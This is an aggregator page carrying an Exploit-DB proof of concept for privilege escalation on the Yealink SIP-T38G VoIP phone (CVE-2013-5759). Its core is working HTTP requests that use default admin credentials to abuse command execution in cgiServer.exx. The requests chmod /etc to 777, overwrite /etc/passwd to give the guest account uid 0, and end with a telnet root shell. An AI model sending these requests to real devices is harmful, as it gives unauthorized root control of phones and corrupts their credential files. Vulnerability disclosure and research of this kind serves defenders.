Lucene search
K

Yealink VoIP Phone SIP-T38G - Privilege Escalation

🗓️ 13 Jun 2014 00:00:00Reported by Mr.Un1k0d3rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

Yealink VoIP Phone SIP-T38G Privileges Escalation. Privilege escalation via cgiServer.ex

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Yealink VoIP Phone SIP-T38G - Multiple Vulnerabilities
14 Jun 201400:00
zdt
CVE
CVE-2013-5758
3 Aug 201418:00
cve
CVE
CVE-2013-5759
3 Aug 201418:00
cve
Cvelist
CVE-2013-5758
3 Aug 201418:00
cvelist
Cvelist
CVE-2013-5759
3 Aug 201418:00
cvelist
Exploit DB
Yealink VoIP Phone SIP-T38G - Local File Inclusion
13 Jun 201400:00
exploitdb
Exploit DB
Yealink VoIP Phone SIP-T38G - Remote Command Execution
13 Jun 201400:00
exploitdb
exploitpack
Yealink VoIP Phone SIP-T38G - Remote Command Execution
13 Jun 201400:00
exploitpack
exploitpack
Yealink VoIP Phone SIP-T38G - Local File Inclusion
13 Jun 201400:00
exploitpack
exploitpack
Yealink VoIP Phone SIP-T38G - Privilege Escalation
13 Jun 201400:00
exploitpack
Rows per page
Title: Yealink VoIP Phone SIP-T38G Privileges Escalation
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5759

Description:

Using the fact that cgiServer.exx run under the root privileges we use the
command execution (CVE-2013-5758) to modify the system file restriction.
Then we add extra privileges to the guest account.

POC:

Step 1 - Changing /etc folder right to 777:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("/bin/busybox%20chmod%20-R%20777%20/etc")

Step 2 - Change guest user uid:

POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

system("echo "root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:0:0:Guest,,,:/:/bin/sh\" > /etc/passwd
")

Step 3 - Connect back using telnet and guest account (password is guest):

# id
uid=0(root) gid=0(root)

Enjoy your root shell :)

-- 
*Mr.Un1k0d3r** or 1 #*

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation